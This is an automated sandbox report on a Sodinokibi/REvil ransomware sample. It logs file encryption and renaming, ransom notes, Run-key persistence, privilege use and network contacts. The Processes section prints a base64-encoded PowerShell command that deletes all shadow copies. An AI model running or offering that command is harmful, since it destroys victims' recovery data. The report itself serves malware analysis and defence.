ES 185.47.15.32:443 abogadosaccidentetraficosevilla.es tcp
US 8.8.8.8:53 blacksirius.de udp
DE 185.185.24.227:443 blacksirius.de tcp
US 8.8.8.8:53 sipstroysochi.ru udp
RU 92.53.114.107:443 sipstroysochi.ru tcp
RU 92.53.114.107:443 sipstroysochi.ru tcp
US 8.8.8.8:53 foryourhealth.live udp
HK 47.75.130.171:443 foryourhealth.live tcp
US 8.8.8.8:53 schraven.de udp
DE 217.160.0.82:443 schraven.de tcp
DE 217.160.0.82:443 schraven.de tcp
US 8.8.8.8:53 mardenherefordshire-pc.gov.uk udp
GB 213.175.196.2:443 mardenherefordshire-pc.gov.uk tcp
GB 213.175.196.2:443 mardenherefordshire-pc.gov.uk tcp
US 8.8.8.8:53 pubweb.carnet.hr udp
HR 193.198.184.106:443 pubweb.carnet.hr tcp
US 8.8.8.8:53 joyeriaorindia.com udp
ES 89.17.195.40:443 joyeriaorindia.com tcp
US 8.8.8.8:53 www.joyeriaorindia.com udp
ES 89.17.195.40:443 www.joyeriaorindia.com tcp
US 8.8.8.8:53 makeflowers.ru udp
RU 23.111.202.89:443 makeflowers.ru tcp
RU 23.111.202.89:443 makeflowers.ru tcp
US 8.8.8.8:53 seevilla-dr-sturm.at udp
DE 85.114.128.65:443 seevilla-dr-sturm.at tcp
US 8.8.8.8:53 podsosnami.ru udp
US 8.8.8.8:53 stupbratt.no udp
NO 194.63.249.218:443 stupbratt.no tcp
NO 194.63.249.218:443 stupbratt.no tcp
US 8.8.8.8:53 jsfg.com udp
US 51.81.93.23:443 jsfg.com tcp
US 51.81.93.23:443 jsfg.com tcp
US 8.8.8.8:53 dupontsellshomes.com udp
US 70.40.220.182:443 dupontsellshomes.com tcp
US 70.40.220.182:443 dupontsellshomes.com tcp
US 8.8.8.8:53 dutchbrewingcoffee.com udp
US 8.8.8.8:53 helikoptervluchtnewyork.nl udp
NL 149.210.170.20:443 helikoptervluchtnewyork.nl tcp
NL 149.210.170.20:443 helikoptervluchtnewyork.nl tcp
US 8.8.8.8:53 c2e-poitiers.com udp
US 104.21.39.219:443 c2e-poitiers.com tcp
US 8.8.8.8:53 ki-lowroermond.nl udp
NL 141.138.169.222:443 ki-lowroermond.nl tcp
NL 141.138.169.222:443 ki-lowroermond.nl tcp
US 8.8.8.8:53 mooshine.com udp
US 96.126.109.101:443 mooshine.com tcp
US 96.126.109.101:443 mooshine.com tcp
US 8.8.8.8:53 freie-baugutachterpraxis.de udp
DE 134.119.122.182:443 freie-baugutachterpraxis.de tcp
DE 134.119.122.182:443 freie-baugutachterpraxis.de tcp
US 8.8.8.8:53 1kbk.com.ua udp
UA 185.68.16.39:443 1kbk.com.ua tcp
US 8.8.8.8:53 instatron.net udp
US 15.197.142.173:443 instatron.net tcp

Files

memory/1520-54-0x00000000766D1000-0x00000000766D3000-memory.dmp

memory/1156-55-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp

memory/1156-57-0x0000000002830000-0x0000000002832000-memory.dmp

memory/1156-56-0x000007FEF3790000-0x000007FEF42ED000-memory.dmp

memory/1156-59-0x0000000002834000-0x0000000002837000-memory.dmp

memory/1156-58-0x0000000002832000-0x0000000002834000-memory.dmp

memory/1156-60-0x000000000283B000-0x000000000285A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-24 01:06

Reported

2022-01-24 01:23

Platform

win10-en-20211208

Max time kernel

170s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\CopyUndo.tiff => \??\c:\users\admin\pictures\CopyUndo.tiff.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\PingDismount.raw => \??\c:\users\admin\pictures\PingDismount.raw.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\UnregisterRestore.tiff => \??\c:\users\admin\pictures\UnregisterRestore.tiff.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\users\admin\pictures\CopyUndo.tiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\users\admin\pictures\UnregisterRestore.tiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\ConfirmSwitch.raw => \??\c:\users\admin\pictures\ConfirmSwitch.raw.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\ConfirmDebug.raw => \??\c:\users\admin\pictures\ConfirmDebug.raw.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\users\admin\pictures\DebugTrace.tiff C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\CheckpointPublish.tif => \??\c:\users\admin\pictures\CheckpointPublish.tif.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\DebugTrace.tiff => \??\c:\users\admin\pictures\DebugTrace.tiff.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File renamed C:\Users\Admin\Pictures\ResumeSet.crw => \??\c:\users\admin\pictures\ResumeSet.crw.5dj706t2n C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe" C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\TraceSet.3gp2 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\UnblockApprove.xla C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\FindMount.fon C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ReceiveRegister.M2TS C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RenameConvertTo.pot C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\LockDisable.dot C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RestoreNew.aif C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files\5dj706t2n-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConnectUnlock.xht C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConvertToExpand.raw C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\InitializeConvert.3gpp C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\LimitGrant.vbs C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\OptimizeMeasure.m1v C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ResetRedo.rtf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\DebugMove.avi C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\EnablePing.ex_ C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ExpandCheckpoint.xml C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\InvokeStep.jpeg C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\MountInvoke.jtx C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\StepResolve.scf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\UnregisterClear.potm C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\WatchEnable.TTS C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\AssertOptimize.rmi C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ExpandRestart.avi C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ExportConnect.asf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\RevokeProtect.dxf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\SkipEnable.fon C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\AddDisconnect.midi C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\MeasureMerge.ex_ C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\OutGrant.i64 C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\SetInstall.dxf C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File created \??\c:\program files (x86)\5dj706t2n-readme.txt C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ExitRestart.odp C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ReadSkip.mid C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\ConvertProtect.fon C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
File opened for modification \??\c:\program files\SuspendBlock.ods C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe

"C:\Users\Admin\AppData\Local\Temp\c595336e585b24392ab7587174f3eb277784a27e2a987c42711355ff1178ad67.exe"

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 72.21.91.29:80 tcp
NL 52.109.88.44:443 tcp

Files

memory/1096-122-0x000001AACC8F0000-0x000001AACC912000-memory.dmp

memory/1096-127-0x000001AACEBF0000-0x000001AACEC66000-memory.dmp

memory/1096-134-0x000001AAB48C0000-0x000001AACC9A0000-memory.dmp

memory/1096-135-0x000001AAB48C0000-0x000001AACC9A0000-memory.dmp